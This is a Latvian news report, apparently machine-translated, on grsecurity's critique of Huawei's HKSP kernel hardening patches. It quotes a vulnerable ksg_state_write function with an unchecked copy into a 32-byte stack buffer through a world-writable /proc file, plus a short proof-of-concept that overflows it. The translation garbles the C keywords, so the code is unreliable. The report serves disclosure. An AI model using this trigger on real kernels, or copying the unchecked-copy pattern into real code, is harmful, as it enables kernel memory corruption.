Grsecurity projekta izstrādātāji
HKSP ielāpus publicēja Huawei darbinieks, GitHub profilā iekļauj Huawei pieminējumu un projekta nosaukumā lieto vārdu Huawei (HKSP — Huawei Kernel Self Protection). Vienlaikus Huawei pārstāvji noliedza HKSP projekta saistību ar uzņēmumu un norādīja, ka kods izstrādāts pēc darbinieka personīgās iniciatīvas, nav oficiāls Huawei projekts un netiek izmantots uzņēmuma produktos. Ieslēgts
HKSP ietver tādas izmaiņas kā nobīdes nejaušināšana cred struktūrā, aizsardzība pret uzbrukumiem lietotāja identifikatora nosaukumvietai (pid nosaukumvietai), procesa steka atdalīšana no mmap apgabala, dubultu izsaukumu noteikšana kfree funkcijai, noplūžu bloķēšana caur pseido. -FS /proc (/proc/ {modules, keys, key-users}, /proc/sys/kernel/* un /proc/sys/vm/mmap_min_addr, /proc/kallsyms), uzlabota lietotāja vietas adrešu nejaušināšana, papildu Ptrace aizsardzība, uzlabota smap un smep aizsardzība, iespēja aizliegt datu sūtīšanu, izmantojot neapstrādātas ligzdas, bloķēt nepareizas adreses UDP ligzdās un pārbaudīt darbojošos procesu integritāti. Tajā ir iekļauts arī Ksguard kodola modulis, kura mērķis ir noteikt mēģinājumus ieviest tipiskus sakņu komplektus.
Plāksteri
Grsecurity izstrādātāju veiktais ielāpa pētījums atklāja daudzas kļūdas un nepilnības kodā, kā arī parādīja, ka nav draudu modeļa, kas ļautu viņiem adekvāti spriest par projekta iespējām. Lai skaidri parādītu, ka kods tika uzrakstīts, neizmantojot drošas programmēšanas metodes, ir sniegts apdarinātāja triviālas ievainojamības piemērs.
fails /proc/ksguard/state, kas izveidots ar tiesībām 0777, kas nozīmē, ka ikvienam ir rakstīšanas piekļuve. Funkcija ksg_state_write, ko izmanto, lai parsētu komandas, kas rakstītas mapē /proc/ksguard/state, izveido tmp[32] buferi, kurā tiek ierakstīti dati, pamatojoties uz nodotā operanda lielumu, neņemot vērā mērķa bufera lielumu un bez parametra pārbaude ar virknes izmēru. Tie. Lai pārrakstītu daļu no kodola steka, uzbrucējam vienkārši ir jāieraksta īpaši formatēta rindiņa /proc/ksguard/state.
static ssize_t ksg_state_write(struct fails *fails, const char __user *buf,
izmērs_t len, loff_t *nobīde)
{
u64 vērtība;
char tmp[32];
izmērs_t n = 0;
if (copy_from_user(tmp, buf, len))
atgriešanās -1;
vērtība = simple_strtoul(tmp, '\0', 10);
...
Ekspluatācijas prototips:
char buf[4096] = { };
int fd = atvērts (“/proc/ksguard/state”, O_WRONLY);
if (fd >= 0) {
write(fd, buf, sizeof(buf));
aizvērt(fd);
}
Avots: opennet.ru